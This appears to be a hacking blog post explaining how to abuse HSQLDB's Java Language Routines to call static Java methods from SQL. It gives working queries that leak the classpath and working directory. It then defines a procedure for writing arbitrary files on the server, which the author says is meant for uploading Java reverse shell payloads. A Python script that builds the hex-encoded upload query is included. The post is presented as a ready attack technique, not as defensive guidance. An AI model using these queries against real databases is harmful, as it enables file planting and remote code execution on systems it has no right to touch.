What is HSQLDB?

Hyper SQL Database (HSQLDB) is a relational database management system written in Java - you might occasionally come across it. It’s cross-platform, lightweight, and has a bunch of great features like being able to call static Java methods in the Java Runtime Environment’s (JRE) class path. What’s more to love?

Calling Java Language Routines in HSQLDB

In HSQLDB, Java Language Routines (JRTs) are SQL-Invoked Routines, i.e. functions or procedures, that call methods in the classpath of the JRE. With JRTs, we can define these SQL functions and pass parameters to these methods invocations. JRTs that invoke methods that return values are called functions. JRTs that invoke methods that return void are called procedures.

Reconnaissance

So, I keep mentioning the classpath. What is it? Like PATH, it’s a path of JAR files currently loaded in the JRE of the HSQLDB instance. Like with pwning Java serialization, we need to know what gadgets, i.e. static methods, are available for abuse. We can execute the following query in HSQLDB to create a function that invokes the Java getProperty method, which we’ll use to expose the contents of the classpath:

 CREATE FUNCTION GetSystemProperty(IN key VARCHAR) RETURNS VARCHAR
  LANGUAGE JAVA
  DETERMINISTIC NO SQL
  EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'

And the following query exposes the classpath:

VALUES(GetSystemProperty('java.class.path'))

Another useful query, the following query exposes the the current directory HSQLDB is executing from:

VALUES(GetSystemProperty('user.dir'))

Uploading files

The juicy stuff. We can create a procedure with the following HSQLDB query, using the JavaUtils.writeBytesToFilename method to write a bytes object to a file. This enables us to do great things like upload Java reverse shell payloads.

CREATE PROCEDURE WriteBytesToFilename(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
  LANGUAGE JAVA
  DETERMINISTIC NO SQL
  EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'

The above procedure has two parameters, paramString which is the filename we wish to write to, and paramArrayOfByte which is the byte array of our file we’re going to upload. How do we use it? An example invocation is provided below:

CALL WriteBytesToFilename('{DEST}', CAST('{PAYLOAD}' as VARBINARY(1024)))

Where DEST is where we want to write the file, and PAYLOAD is the file’s contents in hex. “How do I get the contents of my file in hex?”, you say. The following Python script will convert a file specified by filepath to the correct format and will generate a payload that uploads the file to the specified dest:

from argparse import ArgumentParser
 
WRITE_BYTES_TO_FILENAME_QUERY = """CALL WriteBytesToFilename('{dest}', CAST('{payload}' as VARBINARY(1024)))"""
 
 
class Solution:
    def __init__(self, filepath: str, dest: str) -> None:
        self.filepath, self.dest = filepath, dest
 
    def solve(self) -> None:
        payload = None
        with open(self.filepath, "rb") as file:
            payload = file.read().hex()
 
        print(WRITE_BYTES_TO_FILENAME_QUERY.format(dest=self.dest, payload=payload))
 
 
def main():
    parser = ArgumentParser()
    parser.add_argument("-f", "--filepath", dest="filepath")
    parser.add_argument("-d", "--dest", dest="dest")
    args = parser.parse_args()
    s = Solution(args.filepath, args.dest)
    s.solve()
 
 
if __name__ == "__main__":
    main()